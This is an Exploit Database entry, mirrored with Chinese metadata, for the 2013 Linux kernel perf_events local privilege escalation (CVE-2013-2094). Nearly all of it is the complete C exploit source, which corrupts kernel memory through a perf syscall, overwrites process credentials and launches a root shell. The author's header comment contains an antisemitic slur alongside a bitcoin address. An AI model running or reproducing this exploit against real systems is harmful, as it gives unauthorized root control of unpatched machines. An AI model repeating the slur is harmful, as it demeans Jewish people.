Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)

• Exploit Database
• 14 阅读

• 作者： sd
  日期： 2013-05-14
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/25444/

• /*
   * linux 2.6.37-3.x.x x86_64, ~100 LOC
   * gcc-4.6 -O2 semtex.c && ./a.out
   * 2010 sd@fucksheep.org, salut!
   *
   * update may 2013:
   * seems like centos 2.6.32 backported the perf bug, lol.
   * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
   * 
   * EDB Note: Update ~ http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   * ~ https://github.com/realtalk/cve-2013-2094/blob/master/rewritten_semtex.c
   */
  
  #define _GNU_SOURCE 1
  #include <stdint.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <sys/mman.h>
  #include <syscall.h>
  #include <stdint.h>
  #include <assert.h>
  
  #define BASE0x380000000
  #define SIZE0x010000000
  #define KSIZE0x2000000
  #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
  
  void fuck() {
  int i,j,k;
  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  uint64_t kbase = ((uint64_t)current)>>36;
  uint32_t *fixptr = (void*) AB(1);
  *fixptr = -1;
  
  for (i=0; i<4000; i+=4) {
  uint64_t *p = (void *)&current[i];
  uint32_t *t = (void*) p[0];
  if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
  for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
  if (((uint32_t*)uids)[k] != t[j+k]) goto next;
  for (i = 0; i < 8; i++) t[j+i] = 0;
  for (i = 0; i < 10; i++) t[j+9+i] = -1;
  return;
  next:;}
  }
  }
  
  void sheep(uint32_t off) {
  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  int fd = syscall(298, buf, 0, -1, -1, 0);
  assert(!close(fd));
  }
  
  
  intmain() {
  uint64_tu,g,needle, kbase, *p; uint8_t *code;
  uint32_t *map, j = 5;
  int i;
  struct {
  uint16_t limit;
  uint64_t addr;
  } __attribute__((packed)) idt;
  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  memset(map, 0, SIZE);
  sheep(-1); sheep(-2);
  for (i = 0; i < SIZE/4; i++) if (map[i]) {
  assert(map[i+1]);
  break;
  }
  assert(i<SIZE/4);
  asm ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  u = getuid(); g = getgid();
  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
  printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
  setresuid(u,u,u); setresgid(g,g,g);
  while (j--) {
  needle = AB(j+1);
  assert(p = memmem(code, 1024, &needle, 8));
  if (!p) continue;
  *p = j?((g<<32)|u):(idt.addr + 0x48);
  }
  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  asm("int $0x4");assert(!setuid(0));
  return execl("/bin/bash", "-sh", NULL);
  }